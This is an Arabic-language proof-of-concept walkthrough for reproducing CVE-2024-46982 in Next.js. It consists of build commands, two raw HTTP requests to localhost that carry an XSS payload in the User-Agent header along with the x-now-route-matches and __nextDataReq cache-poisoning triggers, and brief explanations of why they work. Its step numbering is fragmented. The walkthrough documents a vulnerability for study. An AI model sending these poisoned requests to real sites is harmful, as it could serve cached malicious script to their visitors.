
إعادة إنتاج CVE-2024-46982
npm installnpm run buildnpm run startGET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. قم بزيارة http://localhost:3000 (طلب عادي) باستخدام أي متصفح ويب.


GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. قم بزيارة http://localhost:3000 (طلب عادي) باستخدام أي متصفح ويب.

x-now-route-matches هو ترويسة HTTP مخصصة يتعرف عليها Next.js. عند وجودها، سيتعامل Next.js مع طلب HTTP كـ "SSG" (توليد الموقع الثابت)، ويمكن عندها تخزين استجابة HTTP مؤقتًا (Cache-Control: s-maxage=1, stale-while-revalidate).
?__nextDataReq=1 هو سلسلة استعلام يتعرف عليها Next.js. عند وجودها، سيتعامل Next.js مع طلب HTTP كـ "استرجاع __NEXT_DATA__".
يمكن العثور على الشرح الكامل في قسم Credit